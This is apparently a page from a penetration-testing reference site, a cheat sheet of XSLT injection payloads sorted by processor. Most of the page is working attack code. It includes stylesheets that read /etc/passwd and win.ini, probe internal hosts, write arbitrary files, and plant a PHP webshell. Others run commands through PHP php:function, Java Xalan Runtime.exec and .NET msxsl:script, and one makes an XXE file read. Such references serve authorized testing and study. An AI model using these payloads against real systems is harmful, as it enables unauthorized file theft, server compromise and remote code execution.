> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# XSLT Injection

XSLT (Extensible Stylesheet Language Transformations) turns XML into another format, HTML, plain text, even another XML document, by applying a stylesheet's rules against it. When an application lets you control the stylesheet, or injects unsanitized input into one it builds itself, the transformation engine itself becomes the attack surface: XSLT can read files, make outbound requests, write files, and on several processors, execute arbitrary code directly.

> **Read-Only Primitives**
>
> `document()` and `system-property()` work on effectively every XSLT processor, no extensions required. File read, SSRF, and fingerprinting.

> **RCE Extensions**
>
> EXSLT, PHP's `xsl` extension, Xalan (Java), and `msxsl:script` (.NET) each expose their own path to file write or direct code execution, but only when that specific extension is enabled.

***

## Fingerprinting the Processor

Before trying any RCE payload, find out which XSLT engine and version you're dealing with, each vendor supports a different set of extensions. `system-property()` is part of the XSLT 1.0 spec and works everywhere.

```xml theme={null}
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>
```

Pulling all three properties at once gives vendor, vendor URL, and spec version in a single pass.

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
```

| Vendor string | Underlying engine | Common RCE path |
| - | - | - |
| `libxslt` | PHP's `XSLTProcessor` | `php:function()` extension |
| `Apache Xalan` | Java | `Runtime.getRuntime().exec()` via XPath |
| `Microsoft` | .NET `XslCompiledTransform` | `msxsl:script` embedded C# |
| `Saxonica` | Java (Saxon) | Reflection-based, processor-specific |

***

## File Read and SSRF via `document()`

`document()` is meant to pull in a second XML source during a transform, nothing stops it from being pointed at a local file path or a URL instead. It works without any extension enabled, making it the first thing worth trying once injection is confirmed.

```xml theme={null}
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    <xsl:copy-of select="document('/etc/passwd')"/>
    <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    Fruits:
    <xsl:for-each select="fruit">
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>
```

> [!TIP]
>
> Pointing `document()` at an internal IP and port and watching the response time or error message differ for open vs closed ports turns this into a basic port scanner.

> [!WARNING]
>
> Mixing a `document()` payload into a stylesheet that also legitimately iterates the input XML (the `<xsl:for-each>` above) keeps the transform's normal output intact, so the injected read doesn't visibly break the page while testing.

***

## File Write via EXSLT

The EXSLT `common` extension (`exsl:document` on some processors, `exploit:document` with any arbitrary namespace alias here) writes the transform's output to a new file on disk instead of just returning it, turning an injection point into an arbitrary file write.

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
```

> [!NOTE]
>
> Swap the literal text for a webshell payload and `evil.txt` for a web-accessible path with an executable extension, and this becomes direct RCE without needing any of the extensions below. Whether it works depends entirely on whether the host's XSLT processor has EXSLT support compiled in.

***

## RCE by Processor

**PHP (libxslt)**

PHP's `XSLTProcessor` ships with its own `php:function` extension that lets a stylesheet call arbitrary PHP functions directly by name, this is by far the most reliable RCE path when the vendor fingerprint comes back as `libxslt`.

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
  <xsl:value-of select="php:function('system', concat('id', ''))"/>
</xsl:template>
</xsl:stylesheet>
```

The same mechanism reads files, lists directories, or drops a webshell to disk, all without needing EXSLT at all.

```xml theme={null}
<xsl:value-of select="php:function('readfile', '/etc/passwd')"/>
<xsl:value-of select="php:function('scandir', '.')"/>
<xsl:value-of select="php:function('file_put_contents', 'shell.php', '&lt;?php system($_GET[%22cmd%22]); ?&gt;')"/>
```

**Java (Xalan)**

Apache Xalan, the default XSLT engine bundled with the JVM, allows an XPath expression to instantiate arbitrary Java objects and call methods on them, chaining through to `Runtime.exec()` gets straight to command execution.

```xml theme={null}
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
  xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
  exclude-result-prefixes="rt ob">
  <xsl:template match="/">
    <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($runtimeObject, 'id')"/>
  </xsl:template>
</xsl:stylesheet>
```

**.NET (MSXML / XslCompiledTransform)**

Microsoft's processor supports `<msxsl:script>`, an embedded scripting block (C# or VB.NET by default) that runs inline as part of the transform, no sandboxing beyond whatever the host process itself runs as.

```xml theme={null}
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

  <xsl:template match="/fruits">
  --- BEGIN COMMAND OUTPUT ---
 <xsl:value-of select="user:execute()"/>
  --- END COMMAND OUTPUT --- 
  </xsl:template>
</xsl:stylesheet>
```

> [!WARNING]
>
> `msxsl:script` is specific to the legacy `MSXML`/`System.Xml.Xsl.XslTransform` stack. Microsoft's modern `XslCompiledTransform` disables script blocks unless the application explicitly opts in with `XsltSettings.TrustedXslt`, which is rare in current code but still worth testing for on anything running older .NET Framework internals.

***

## Don't Forget XXE

An XSLT document is itself XML, so anywhere a stylesheet is accepted, the surrounding document is also a candidate for a classic `DOCTYPE`/`ENTITY` injection, independent of anything XSLT-specific. If the RCE/file-read paths above are not working, drop back to testing standard XXE against the stylesheet file itself (see [XXE](https://0-x.dev/xxe.md) for the full technique set).

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'&xxe;'"/>
  </xsl:template>
</xsl:stylesheet>
```

***

## Quick Reference Tools

> **[PayloadsAllTheThings: XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/)**
>
> Reference used for this page.

> [!WARNING]
>
> No general-purpose automated scanner exists for this class, exploitation is manual and depends entirely on which processor and extensions the target has enabled. Fingerprint first, confirm scope, then pick the technique that matches the vendor string.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.